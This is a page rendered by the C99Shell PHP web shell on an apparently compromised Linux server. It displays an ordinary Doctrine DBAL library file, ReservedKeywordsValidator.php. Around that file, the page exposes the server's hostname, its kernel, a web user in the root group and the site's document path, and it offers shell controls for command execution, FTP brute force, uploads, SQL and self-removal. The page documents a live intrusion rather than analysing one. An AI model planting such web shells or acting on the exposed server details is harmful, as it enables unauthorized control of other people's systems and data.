!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/doctrine/dbal/src/Platforms/Keywords/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReservedKeywordsValidator.php (2.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\DBAL\Platforms\Keywords;

use 
Doctrine\DBAL\Schema\Column;
use 
Doctrine\DBAL\Schema\ForeignKeyConstraint;
use 
Doctrine\DBAL\Schema\Index;
use 
Doctrine\DBAL\Schema\Schema;
use 
Doctrine\DBAL\Schema\Sequence;
use 
Doctrine\DBAL\Schema\Table;
use 
Doctrine\DBAL\Schema\Visitor\Visitor;
use 
Doctrine\Deprecations\Deprecation;

use function 
count;
use function 
implode;
use function 
str_replace;

/** @deprecated Use database documentation instead. */
class ReservedKeywordsValidator implements Visitor
{
    
/** @var KeywordList[] */
    
private array $keywordLists;

    
/** @var string[] */
    
private array $violations = [];

    
/** @param KeywordList[] $keywordLists */
    
public function __construct(array $keywordLists)
    {
        
Deprecation::triggerIfCalledFromOutside(
            
'doctrine/dbal',
            
'https://github.com/doctrine/dbal/pull/5431',
            
'ReservedKeywordsValidator is deprecated. Use database documentation instead.',
        );

        
$this->keywordLists $keywordLists;
    }

    
/** @return string[] */
    
public function getViolations()
    {
        return 
$this->violations;
    }

    
/**
     * @param string $word
     *
     * @return string[]
     */
    
private function isReservedWord($word): array
    {
        if (
$word[0] === '`') {
            
$word str_replace('`'''$word);
        }

        
$keywordLists = [];
        foreach (
$this->keywordLists as $keywordList) {
            if (! 
$keywordList->isKeyword($word)) {
                continue;
            }

            
$keywordLists[] = $keywordList->getName();
        }

        return 
$keywordLists;
    }

    
/**
     * @param string   $asset
     * @param string[] $violatedPlatforms
     */
    
private function addViolation($asset$violatedPlatforms): void
    
{
        if (
count($violatedPlatforms) === 0) {
            return;
        }

        
$this->violations[] = $asset ' keyword violations: ' implode(', '$violatedPlatforms);
    }

    
/**
     * {@inheritDoc}
     */
    
public function acceptColumn(Table $tableColumn $column)
    {
        
$this->addViolation(
            
'Table ' $table->getName() . ' column ' $column->getName(),
            
$this->isReservedWord($column->getName()),
        );
    }

    
/**
     * {@inheritDoc}
     */
    
public function acceptForeignKey(Table $localTableForeignKeyConstraint $fkConstraint)
    {
    }

    
/**
     * {@inheritDoc}
     */
    
public function acceptIndex(Table $tableIndex $index)
    {
    }

    
/**
     * {@inheritDoc}
     */
    
public function acceptSchema(Schema $schema)
    {
    }

    
/**
     * {@inheritDoc}
     */
    
public function acceptSequence(Sequence $sequence)
    {
    }

    
/**
     * {@inheritDoc}
     */
    
public function acceptTable(Table $table)
    {
        
$this->addViolation(
            
'Table ' $table->getName(),
            
$this->isReservedWord($table->getName()),
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--